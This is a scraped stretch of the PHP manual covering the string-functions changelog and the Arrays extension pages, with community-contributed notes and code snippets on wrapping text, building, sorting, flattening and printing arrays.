Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
bruceboughton @ google mail 05-May-2005 12:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)


Changelog

The following changes have been made to classes/functions/methods of this extension.

Version | Function | Description
5.6.0 | crypt | Raise E_NOTICE security warning if salt is omitted.
 | html_entity_decode | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
 | htmlentities | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
 | htmlspecialchars | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
 | substr_compare | length may now be 0.
5.5.1 | hex2bin | A warning is thrown if the input string is invalid hexadecimal string.
5.4.1 | hex2bin | A warning is thrown if the input string is of odd length. In PHP 5.4.0 the string was silently accepted, but the last byte was truncated.
5.4.0 | get_html_translation_table | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | get_html_translation_table | The default value for the encoding parameter was changed to UTF-8.
 | html_entity_decode | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | html_entity_decode | Default encoding changed from ISO-8859-1 to UTF-8.
 | htmlentities | The default value for the encoding parameter was changed to UTF-8.
 | htmlentities | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | htmlspecialchars | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | htmlspecialchars | The default value for the encoding parameter was changed to UTF-8.
 | htmlspecialchars_decode | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
 | number_format | This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions.
5.3.7 | crypt | Added $2x$ and $2y$ Blowfish modes to deal with potential high-bit attacks.
5.3.4 | get_html_translation_table | The encoding parameter was added.
5.3.2 | crypt | Added SHA-256 and SHA-512 crypt based on Ulrich Drepper's implementation.
 | crypt | Fixed Blowfish behaviour on invalid rounds to return "failure" string ("*0" or "*1"), instead of falling back to DES.
5.3.0 | crypt | PHP now contains its own implementation for the MD5 crypt, Standard DES, Extended DES and the Blowfish algorithms and will use that if the system lacks of support for one or more of the algorithms.
 | htmlentities | The constant ENT_IGNORE was added.
 | htmlspecialchars | The constant ENT_IGNORE was added.
 | nl2br | Added the optional is_xhtml parameter.
 | setlocale | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.
 | stristr | Added the optional parameter before_needle.
 | strlen | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.
 | strstr | Added the optional parameter before_needle.
5.2.5 | addcslashes | The escape sequences \v and \f were added.
5.2.3 | htmlentities | The double_encode parameter was added.
 | htmlspecialchars | The double_encode parameter was added.
5.2.2 - 5.2.6 | substr | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.
5.1.0 | explode | Support for negative limits was added
 | md5_file | Changed the function to use the streams API. It means that you can use it with wrappers, like md5_file('http://example.com/..')
 | sha1_file | Changed the function to use the streams API. It means that you can use it with wrappers, like sha1_file('http://example.com/..')
 | str_word_count | Added the charlist parameter
 | substr_compare | Added the possibility to use a negative offset.
 | substr_count | Added the offset and the length parameters
5.0.0 | strip_tags | strip_tags is now binary safe.
 | strrpos | The needle may now be a string of more than one character.
4.3.0 | stristr | stristr was made binary safe.
 | strrchr | This function is now binary safe.
 | strstr | strstr was made binary safe.
4.2.3 | strcoll | This function now works on win32.
4.0.5 | nl2br | nl2br is now XHTML compliant. All older versions will return string with '<br>' inserted before newlines instead of '<br />'.

User Contributed Notes

There are no user contributed notes for this page.


Variable and Type Related Extensions

  • Arrays
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Sorting Arrays
    • Array Functions
  • Classes/Objects — Class/Object Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Classes/Object Functions
  • Classkit
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Classkit Functions
  • Ctype — Character type checking
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Ctype Functions
  • Filter — Data Filtering
    • Introduction
    • Installing/Configuring
    • Types of filters
    • Predefined Constants
    • Examples
    • Filter Functions
  • Function Handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Function handling Functions
  • Quickhash
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashIntStringHash — The QuickHashIntStringHash class
  • Reflection
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Extending
    • Reflection — The Reflection class
    • ReflectionClass — The ReflectionClass class
    • ReflectionZendExtension — The ReflectionZendExtension class
    • ReflectionExtension — The ReflectionExtension class
    • ReflectionFunction — The ReflectionFunction class
    • ReflectionFunctionAbstract — The ReflectionFunctionAbstract class
    • ReflectionMethod — The ReflectionMethod class
    • ReflectionObject — The ReflectionObject class
    • ReflectionParameter — The ReflectionParameter class
    • ReflectionProperty — The ReflectionProperty class
    • Reflector — The Reflector interface
    • ReflectionException — The ReflectionException class
  • Variable handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Variable handling Functions

User Contributed Notes

There are no user contributed notes for this page.


Arrays

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Sorting Arrays
  • Array Functions
    • array_change_key_case — Changes the case of all keys in an array
    • array_chunk — Split an array into chunks
    • array_column — Return the values from a single column in the input array
    • array_combine — Creates an array by using one array for keys and another for its values
    • array_count_values — Counts all the values of an array
    • array_diff_assoc — Computes the difference of arrays with additional index check
    • array_diff_key — Computes the difference of arrays using keys for comparison
    • array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function
    • array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison
    • array_diff — Computes the difference of arrays
    • array_fill_keys — Fill an array with values, specifying keys
    • array_fill — Fill an array with values
    • array_filter — Filters elements of an array using a callback function
    • array_flip — Exchanges all keys with their associated values in an array
    • array_intersect_assoc — Computes the intersection of arrays with additional index check
    • array_intersect_key — Computes the intersection of arrays using keys for comparison
    • array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function
    • array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison
    • array_intersect — Computes the intersection of arrays
    • array_key_exists — Checks if the given key or index exists in the array
    • array_keys — Return all the keys or a subset of the keys of an array
    • array_map — Applies the callback to the elements of the given arrays
    • array_merge_recursive — Merge two or more arrays recursively
    • array_merge — Merge one or more arrays
    • array_multisort — Sort multiple or multi-dimensional arrays
    • array_pad — Pad array to the specified length with a value
    • array_pop — Pop the element off the end of array
    • array_product — Calculate the product of values in an array
    • array_push — Push one or more elements onto the end of array
    • array_rand — Pick one or more random entries out of an array
    • array_reduce — Iteratively reduce the array to a single value using a callback function
    • array_replace_recursive — Replaces elements from passed arrays into the first array recursively
    • array_replace — Replaces elements from passed arrays into the first array
    • array_reverse — Return an array with elements in reverse order
    • array_search — Searches the array for a given value and returns the corresponding key if successful
    • array_shift — Shift an element off the beginning of array
    • array_slice — Extract a slice of the array
    • array_splice — Remove a portion of the array and replace it with something else
    • array_sum — Calculate the sum of values in an array
    • array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function
    • array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function
    • array_udiff — Computes the difference of arrays by using a callback function for data comparison
    • array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function
    • array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
    • array_uintersect — Computes the intersection of arrays, compares data by a callback function
    • array_unique — Removes duplicate values from an array
    • array_unshift — Prepend one or more elements to the beginning of an array
    • array_values — Return all the values of an array
    • array_walk_recursive — Apply a user function recursively to every member of an array
    • array_walk — Apply a user supplied function to every member of an array
    • array — Create an array
    • arsort — Sort an array in reverse order and maintain index association
    • asort — Sort an array and maintain index association
    • compact — Create array containing variables and their values
    • count — Count all elements in an array, or something in an object
    • current — Return the current element in an array
    • each — Return the current key and value pair from an array and advance the array cursor
    • end — Set the internal pointer of an array to its last element
    • extract — Import variables into the current symbol table from an array
    • in_array — Checks if a value exists in an array
    • key_exists — Alias of array_key_exists
    • key — Fetch a key from an array
    • krsort — Sort an array by key in reverse order
    • ksort — Sort an array by key
    • list — Assign variables as if they were an array
    • natcasesort — Sort an array using a case insensitive "natural order" algorithm
    • natsort — Sort an array using a "natural order" algorithm
    • next — Advance the internal array pointer of an array
    • pos — Alias of current
    • prev — Rewind the internal array pointer
    • range — Create an array containing a range of elements
    • reset — Set the internal pointer of an array to its first element
    • rsort — Sort an array in reverse order
    • shuffle — Shuffle an array
    • sizeof — Alias of count
    • sort — Sort an array
    • uasort — Sort an array with a user-defined comparison function and maintain index association
    • uksort — Sort an array by keys using a user-defined comparison function
    • usort — Sort an array by values using a user-defined comparison function

User Contributed Notes

Anonymous 23-Oct-2014 04:36
And which php version where added short array creating form:
$myArr = [];

?
gratcypalma at gmail dot com 09-Sep-2013 06:57
<?php
function foo() {
    return array('name' => 'palma', 'old' => 23, 'language' => 'PHP');
}
/* 1. PHP < 5.4.0 */
$a = foo();
var_dump($a['name']);

/* 2. Works ini PHP >= 5.4.0 */

var_dump(foo()['name']);

/*
When i run second method on PHP 5.3.8 i will be show error message "PHP Fatal error:  Can't use method return value in write context"

http://www.php.net/manual/en/migration54.new-features.php
*/
spereversev at envionsoftware dot com 10-Jul-2012 07:29
<?php
function array_mask(array $array, array $keys) {
    return array_intersect_key( $array, array_fill_keys( $keys, 0 ) );
}
?>

Might be helpful to take a part of associative array containing given keys, for example, from a $_REQUEST array

array_mask($_REQUEST, array('name', 'email'));
info at curtinsNOSPAMcreations dot com 05-Nov-2010 04:49
Another way to create a multidimensional array that looks a lot cleaner is to use json_decode.  (Note that this probably adds a touch of overhead, but it sure does look nicer.)  You can of course add as many levels and as much formatting as you'd like to the string you then decode.  Don't forget that json requires " around values, not '!!  (So, you can't enclose the json string with " and use ' inside the string.)

As an example:

<?php
    $myarray['blah'] = json_decode('[
        {"label":"foo","name":"baz"},
        {"label":"boop","name":"beep"}
    ]',true);

print_r($myarray)
?>
returns:

Array
(
    [blah] => Array
        (
            [0] => Array
                (
                    [label] => foo
                    [name] => baz
                )

            [1] => Array
                (
                    [label] => boop
                    [name] => beep
                )
        )
)
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 03:15
If an array item is declared with key as NULL, array key will automatically be converted to empty string '', as follows:

<?php
$a = array(
    NULL => 'zero',
    1    => 'one',
    2    => 'two');

// This will show empty string for key associated with "zero" value
var_dump(array_keys($a));

// Array elements are shown
reset($a);
while( key($a) !== NULL )
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}

// Array elements are not shown
reset($a);
while( key($a) != NULL ) // '' == null   => no iteration will be executed
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}
John Marc 15-Feb-2010 10:30
Be careful when adding elements to a numeric array.
I wanted to store some info about some items from a database and decided to use the record id as a key.

<?php
$key=3000000000;
$DATA[$key]=true;
?>

This will create an array of 30 million elements and chances are, you will use up all memory with these 2 lines

<?php
$key=3000000000;
$DATA["$key"]=true;
?>

This on the other hand will force the array to be an associative array and will only create the one element
sunear at gmail dot com 04-Aug-2009 07:45
Made this function to delete elements in an array;

<?php

function array_del_elm($input_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    $del_indexes = null;

    $cur_index = 0;
    if (sort($indexes)) for($i=0; $i<count($input_array); $i++) {
        if ($i == $indexes[$cur_index]) {
            $cur_index++;
            if ($cur_index == count($indexes)) return $output_array;
            continue;
        }
        $output_array[] = $input_array[$i];
    }
    return $output_array;
}

?>

but then i saw the methods of doing the same by Tyler Bannister & Paul, could see that theirs were faster, but had floors regarding deleting multiple elements thus support of several ways of giving parameters. I combined the two methods to this to this:

<?php

function array_del_elm($target_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    unset($del_indexes);

    for($i=0; $i<count($indexes); $i++) {
        unset($target_array[$indexes[$i]]);
    }
    return $target_array;
}

?>

Fast, compliant and functional ;)
Tyler Bannister 11-Jun-2009 03:59
To delete an individual array element use the unset function

For example:

<?PHP
    $arr = array( "A", "B", "C" );
    unset( $arr[1] );
    // now $arr = array( "A", "C" );
?>

Unlink is for deleting files.
thomasdecaux at ebuildy dot com 15-May-2009 10:14
To browse a simple array:

<?php

foreach ($myArray AS $myItem)
{

}

?>

To browse an associative array:

<?php

foreach ($myArray AS $key=>$value)
{

}

?>

http://www.ebuildy.com
macnimble at gmail dot com 27-Mar-2009 03:59
Converting a linear array (like a mysql record set) into a tree, or multi-dimensional array can be a real bugbear. Capitalizing on references in PHP, we can 'stack' an array in one pass, using one loop, like this:

<?php
# array_stack()
# Original idea from:
# http://www.ideashower.com/our_solutions/
#   create-a-parent-child-array-structure-in-one-pass/
function array_stack (&$a, $p = '@parent', $c = '@children')
{
  $l = $t = array();
  foreach ($a AS $key => $val):
    if (!$val[$p]) $t[$key] =& $l[$key];
    else $l[$val[$p]][$c][$key] =& $l[$key];
    $l[$key] = (array)$l[$key] + $val;
  endforeach;
  return $a = array('tree' => $t, 'leaf' => $l);
}

# Example:
$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
#     ^-----------------------v Link @parent value to key.
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');

array_stack($node);

$node['leaf'][1]['title'] = 'I am node one.';
$node['leaf'][2]['title'] = 'I am node two.';
$node['leaf'][3]['title'] = 'I am node three.';
$node['leaf'][4]['title'] = 'I am node four.';
$node['leaf'][5]['title'] = 'I am node five.';

echo '<pre>',print_r($node['tree'],TRUE),'</pre>';
?>

Note that there's no parameter checking on the array value, but this is only to keep the function size small. One could easily a quick check in there to make sure the $a parameter was in fact an array.

Hope you find it useful. Huge thanks to Nate Weiner of IdeaShower.com for providing the original function I built on.
andyd273 at gmail dot com 24-Feb-2009 10:12
A small correction to Endel Dreyer's PHP array to javascript array function. I just changed it to show keys correctly:

            function array2js($array,$show_keys)
            {
                $dimensoes = array();
                $valores = array();

                $total = count ($array)-1;
                $i=0;
                foreach($array as $key=>$value){
                    if (is_array($value)) {
                        $dimensoes[$i] = array2js($value,$show_keys);
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    } else {
                        $dimensoes[$i] = '"'.addslashes($value).'"';
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    }
                    if ($i==0) $dimensoes[$i] = '{'.$dimensoes[$i];
                    if ($i==$total) $dimensoes[$i].= '}';
                    $i++;
                }
                return implode(',',$dimensoes);
            }
Anonymous 26-Nov-2008 07:36
@jorge at andrade dot cl
This variant is faster:
<?php
function array_avg($array,$precision=2){
    if(!is_array($array))
        return 'ERROR in function array_avg(): this is a not array';

    foreach($array as $value)
        if(!is_numeric($value))
            return 'ERROR in function array_avg(): the array contains one or more non-numeric values';

    $cuantos=count($array);
  return round(array_sum($array)/$cuantos,$precision);
}
?>
webmaster at infoproducts dot x10hosting dot com 11-Oct-2008 04:13
New value can also be added to the array as shown below.
$theVariable["google"] = "http//google.com";
or
$theVariable["1"] = "http//google.com";
Jack A 07-Oct-2008 05:14
Note that arrays are not allowed in class constants and trying to do so will throw a fatal error.
contact at greyphoenix dot biz 01-Jul-2008 06:36
<?php
//Creating a multidimensional array

$theVariable = array("Search Engines" =>
array (
    0=> "http//google.com",
    1=> "http//yahoo.com",
    2=> "http//msn.com/"),

"Social Networking Sites" =>
array (
    0 => "http//www.facebook.com",
    1 => "http//www.myspace.com",
    2 => "http//vkontakte.ru",)
);

echo "The first array value is " . $theVariable['Search Engines'][0];
?>

-- Output--
The first array value is http://google.com
applegrew at rediffmail dot com 28-May-2008 05:23
For newbies like me.

Creating new arrays:-
//Creates a blank array.
$theVariable = array();

//Creates an array with elements.
$theVariable = array("A", "B", "C");

//Creating Associaive array.
$theVariable = array(1 => "http//google.com", 2=> "http://yahoo.com");

//Creating Associaive array with named keys
$theVariable = array("google" => "http//google.com", "yahoo"=> "http://yahoo.com");

Note:
New value can be added to the array as shown below.
$theVariable[] = "D";
$theVariable[] = "E";


Introduction

These functions allow you to interact with and manipulate arrays in various ways. Arrays are essential for storing, managing, and operating on sets of variables.

Simple and multi-dimensional arrays are supported, and may be either user created or created by another function. There are specific database handling functions for populating arrays from database queries, and several functions return arrays.

Please see the Arrays section of the manual for a detailed explanation of how arrays are implemented and used in PHP. See also Array operators for other ways how to manipulate the arrays.

User Contributed Notes

There are no user contributed notes for this page.


Installation

There is no installation needed to use these functions; they are part of the PHP core.

User Contributed Notes

Kip 15-May-2014 07:54
To write the shorthand version, you must have PHP 5.5 or greater.

<?php
$arr = array('long', 'version');
$arr2 = ['short', 'version'];

$arr3 = array_merge($arr, $arr2, ['array', 'three', '.']);


Predefined Constants

The constants below are always available as part of the PHP core.

CASE_LOWER (integer)
CASE_LOWER is used with array_change_key_case() and is used to convert array keys to lower case. This is also the default case for array_change_key_case().
CASE_UPPER (integer)
CASE_UPPER is used with array_change_key_case() and is used to convert array keys to upper case.

Sorting order flags:

SORT_ASC (integer)
SORT_ASC is used with array_multisort() to sort in ascending order.
SORT_DESC (integer)
SORT_DESC is used with array_multisort() to sort in descending order.

Sorting type flags: used by various sort functions

SORT_REGULAR (integer)
SORT_REGULAR is used to compare items normally.
SORT_NUMERIC (integer)
SORT_NUMERIC is used to compare items numerically.
SORT_STRING (integer)
SORT_STRING is used to compare items as strings.
SORT_LOCALE_STRING (integer)
SORT_LOCALE_STRING is used to compare items as strings, based on the current locale. Added in PHP 4.4.0 and 5.0.2.
SORT_NATURAL (integer)
SORT_NATURAL is used to compare items as strings using "natural ordering" like natsort(). Added in PHP 5.4.0.
SORT_FLAG_CASE (integer)
SORT_FLAG_CASE can be combined (bitwise OR) with SORT_STRING or SORT_NATURAL to sort strings case-insensitively. Added in PHP 5.4.0.

Filter flags:

ARRAY_FILTER_USE_KEY (integer)
ARRAY_FILTER_USE_KEY is used with array_filter() to pass each key as the first argument to the given callback function. Added in PHP 5.6.0.
ARRAY_FILTER_USE_BOTH (integer)
ARRAY_FILTER_USE_BOTH is used with array_filter() to pass both value and key to the given callback function. Added in PHP 5.6.0.

COUNT_NORMAL (integer)
COUNT_RECURSIVE (integer)
EXTR_OVERWRITE (integer)
EXTR_SKIP (integer)
EXTR_PREFIX_SAME (integer)
EXTR_PREFIX_ALL (integer)
EXTR_PREFIX_INVALID (integer)
EXTR_PREFIX_IF_EXISTS (integer)
EXTR_IF_EXISTS (integer)
EXTR_REFS (integer)

User Contributed Notes

There are no user contributed notes for this page.


Sorting Arrays

PHP has several functions that deal with sorting arrays, and this document exists to help sort it all out.

The main differences are:

  • Some sort based on the array keys, whereas others by the values: $array['key'] = 'value';
  • Whether or not the correlation between the keys and values are maintained after the sort, which may mean the keys are reset numerically (0,1,2 ...)
  • The order of the sort: alphabetical, low to high (ascending), high to low (descending), numerical, natural, random, or user defined
  • Note: All of these sort functions act directly on the array variable itself, as opposed to returning a new sorted array
  • If any of these sort functions evaluates two members as equal then the order is undefined (the sorting is not stable).

Sorting function attributes
Function name | Sorts by | Maintains key association | Order of sort | Related functions
array_multisort() | value | associative yes, numeric no | first array or sort options | array_walk()
asort() | value | yes | low to high | arsort()
arsort() | value | yes | high to low | asort()
krsort() | key | yes | high to low | ksort()
ksort() | key | yes | low to high | asort()
natcasesort() | value | yes | natural, case insensitive | natsort()
natsort() | value | yes | natural | natcasesort()
rsort() | value | no | high to low | sort()
shuffle() | value | no | random | array_rand()
sort() | value | no | low to high | rsort()
uasort() | value | yes | user defined | uksort()
uksort() | key | yes | user defined | uasort()
usort() | value | no | user defined | uasort()

User Contributed Notes

felipe at planow dot com dot br 03-Feb-2014 08:04
hello guys, I'm needing to show neighborhoods alphabetically in cakephp, the list is being displayed in a "option"

echo $this->Form->input('bairro', array('label' => 'Bairro', 'empty' => 'Selecione a cidade', 'options' => array()));

the code this up ... can someone help me?
&#34;Matthew Rice&#34; 18-May-2013 05:28
While this may seem obvious, user-defined array sorting functions ( uksort(), uasort(), usort() ) will *not* be called if the array does not have *at least two values in it*.

The following code:

<?php

function usortTest($a, $b) {
    var_dump($a);
    var_dump($b);
    return -1;
}

$test = array('val1');
usort($test, "usortTest");

$test2 = array('val2', 'val3');
usort($test2, "usortTest");

?>

Will output:

string(4) "val3"
string(4) "val2"

The first array doesn't get sent to the function.

Please, under no circumstance, place any logic that modifies values, or applies non-sorting business logic in these functions as they will not always be executed.
oculiz at gmail dot com 12-Mar-2011 06:57
Another way to do a case case-insensitive sort by key would simply be:

<?php
uksort($array, 'strcasecmp');
?>

Since strcasecmp is already predefined in php it saves you the trouble to actually write the comparison function yourself.
Dirk 29-Mar-2010 10:32
If you need to perform any of these sort functions on an array containing two or more equivalent values, you can get the equivalents to fall next to each other within the overall ordering (similar to how MySQL's ORDER BY works...) instead of breaking the sort() function, by using ksort() as a second parameter to arbitrarily distinguish any equivalent values by their unique keys:

<?php

sort($array, ksort($array));

?>

Seems like this effect should be built in.  At least the workaround is so short...


Array Functions

See Also

See also is_array(), explode(),
implode(), split(),
preg_split(), and unset().

Table of Contents

  • array_change_key_case — Changes the case of all keys in an array
  • array_chunk — Split an array into chunks
  • array_column — Return the values from a single column in the input array
  • array_combine — Creates an array by using one array for keys and another for its values
  • array_count_values — Counts all the values of an array
  • array_diff_assoc — Computes the difference of arrays with additional index check
  • array_diff_key — Computes the difference of arrays using keys for comparison
  • array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison
  • array_diff — Computes the difference of arrays
  • array_fill_keys — Fill an array with values, specifying keys
  • array_fill — Fill an array with values
  • array_filter — Filters elements of an array using a callback function
  • array_flip — Exchanges all keys with their associated values in an array
  • array_intersect_assoc — Computes the intersection of arrays with additional index check
  • array_intersect_key — Computes the intersection of arrays using keys for comparison
  • array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison
  • array_intersect — Computes the intersection of arrays
  • array_key_exists — Checks if the given key or index exists in the array
  • array_keys — Return all the keys or a subset of the keys of an array
  • array_map — Applies the callback to the elements of the given arrays
  • array_merge_recursive — Merge two or more arrays recursively
  • array_merge — Merge one or more arrays
  • array_multisort — Sort multiple or multi-dimensional arrays
  • array_pad — Pad array to the specified length with a value
  • array_pop — Pop the element off the end of array
  • array_product — Calculate the product of values in an array
  • array_push — Push one or more elements onto the end of array
  • array_rand — Pick one or more random entries out of an array
  • array_reduce — Iteratively reduce the array to a single value using a callback function
  • array_replace_recursive — Replaces elements from passed arrays into the first array recursively
  • array_replace — Replaces elements from passed arrays into the first array
  • array_reverse — Return an array with elements in reverse order
  • array_search — Searches the array for a given value and returns the corresponding key if successful
  • array_shift — Shift an element off the beginning of array
  • array_slice — Extract a slice of the array
  • array_splice — Remove a portion of the array and replace it with something else
  • array_sum — Calculate the sum of values in an array
  • array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_udiff — Computes the difference of arrays by using a callback function for data comparison
  • array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_uintersect — Computes the intersection of arrays, compares data by a callback function
  • array_unique — Removes duplicate values from an array
  • array_unshift — Prepend one or more elements to the beginning of an array
  • array_values — Return all the values of an array
  • array_walk_recursive — Apply a user function recursively to every member of an array
  • array_walk — Apply a user supplied function to every member of an array
  • array — Create an array
  • arsort — Sort an array in reverse order and maintain index association
  • asort — Sort an array and maintain index association
  • compact — Create array containing variables and their values
  • count — Count all elements in an array, or something in an object
  • current — Return the current element in an array
  • each — Return the current key and value pair from an array and advance the array cursor
  • end — Set the internal pointer of an array to its last element
  • extract — Import variables into the current symbol table from an array
  • in_array — Checks if a value exists in an array
  • key_exists — Alias of array_key_exists
  • key — Fetch a key from an array
  • krsort — Sort an array by key in reverse order
  • ksort — Sort an array by key
  • list — Assign variables as if they were an array
  • natcasesort — Sort an array using a case insensitive "natural order" algorithm
  • natsort — Sort an array using a "natural order" algorithm
  • next — Advance the internal array pointer of an array
  • pos — Alias of current
  • prev — Rewind the internal array pointer
  • range — Create an array containing a range of elements
  • reset — Set the internal pointer of an array to its first element
  • rsort — Sort an array in reverse order
  • shuffle — Shuffle an array
  • sizeof — Alias of count
  • sort — Sort an array
  • uasort — Sort an array with a user-defined comparison function and maintain index association
  • uksort — Sort an array by keys using a user-defined comparison function
  • usort — Sort an array by values using a user-defined comparison function

User Contributed Notes

callmeanaguma at gmail dot com 18-Jan-2013 08:30
If you need to flattern two-dismensional array with single values assoc subarrays, you could use this function:

<?php
function arrayFlatten($array) {
        $flattern = array();
        foreach ($array as $key => $value){
            $new_key = array_keys($value);
            $flattern[] = $value[$new_key[0]];
        }
        return $flattern;
}
?>
kolkabes at googlemail dot com 05-May-2012 09:31
Short function for making a recursive array copy while cloning objects on the way.

<?php
function arrayCopy( array $array ) {
        $result = array();
        foreach( $array as $key => $val ) {
            if( is_array( $val ) ) {
                $result[$key] = arrayCopy( $val );
            } elseif ( is_object( $val ) ) {
                $result[$key] = clone $val;
            } else {
                $result[$key] = $val;
            }
        }
        return $result;
}
?>
dave at davidhbrown dot us 24-Sep-2011 08:57
While PHP has well over three-score array functions, array_rotate is strangely missing as of PHP 5.3. Searching online offered several solutions, but the ones I found have defects such as inefficiently looping through the array or ignoring keys.

The following array_rotate() function uses array_merge and array_shift to reliably rotate an array forwards or backwards, preserving keys. If you know you can trust your $array to be an array and $shift to be between 0 and the length of your array, you can skip the function definition and use just the return expression in your code.

<?php
function array_rotate($array, $shift) {
    if(!is_array($array) || !is_numeric($shift)) {
        if(!is_array($array)) error_log(__FUNCTION__.' expects first argument to be array; '.gettype($array).' received.');
        if(!is_numeric($shift)) error_log(__FUNCTION__.' expects second argument to be numeric; '.gettype($shift)." `$shift` received.");
        return $array;
    }
    $shift %= count($array); //we won't try to shift more than one array length
    if($shift < 0) $shift += count($array);//handle negative shifts as positive
    return array_merge(array_slice($array, $shift, NULL, true), array_slice($array, 0, $shift, true));
}
?>
A few simple tests:
<?php
$array=array("foo"=>1,"bar"=>2,"baz"=>3,4,5);

print_r(array_rotate($array, 2));
print_r(array_rotate($array, -2));
print_r(array_rotate($array, count($array)));
print_r(array_rotate($array, "4"));
print_r(array_rotate($array, -9));
?>
oliverSPAMMENOT at e-geek dot com dot au 23-Mar-2010 04:28
Function to pretty print arrays and objects. Detects object recursion and allows setting a maximum depth. Based on arraytostring and u_print_r from the print_r function notes. Should be called like so:

<?php
egvaluetostring($value)   //no max depth, or
egvaluetostring($value, $max_depth)   //max depth set

function egvaluetostring($value, $max_depth, $key = NULL, $depth = 0, $refChain = array()) {
  if($depth > 0)
    $tab = str_repeat("\t", $depth);
  $text .= $tab . ($key !== NULL ? $key . " => " : "");

  if (is_array($value) || is_object($value)) {
    $recursion = FALSE;
    if (is_object($value)) {
      foreach ($refChain as $refVal) {
        if ($refVal === $value) {
          $recursion = TRUE;
          break;
        }
      }
      array_push($refChain, $value);
    }

    $text .= (is_array($value) ? "array" : "object") . " ( ";

    if ($recursion) {
      $text .= "*RECURSION* ";
    }
    elseif (isset($max_depth) && $depth >= $max_depth) {
      $text .= "*MAX DEPTH REACHED* ";
    }
    else {
      if (!empty($value)) {
        $text .= "\n";
        foreach ($value as $child_key => $child_value) {
          $text .= egvaluetostring($child_value, $max_depth, (is_array($value) ? "[" : "") . $child_key . (is_array($value) ? "]" : ""), $depth+1, $refChain) . ",\n";
        }
        $text .= "\n" . $tab;
      }
    }

    $text .= ")";

    if (is_object($value)) {
      array_pop($refChain);
    }
  }
  else {
    $text .= "$value";
  }

  return $text;
}
?>
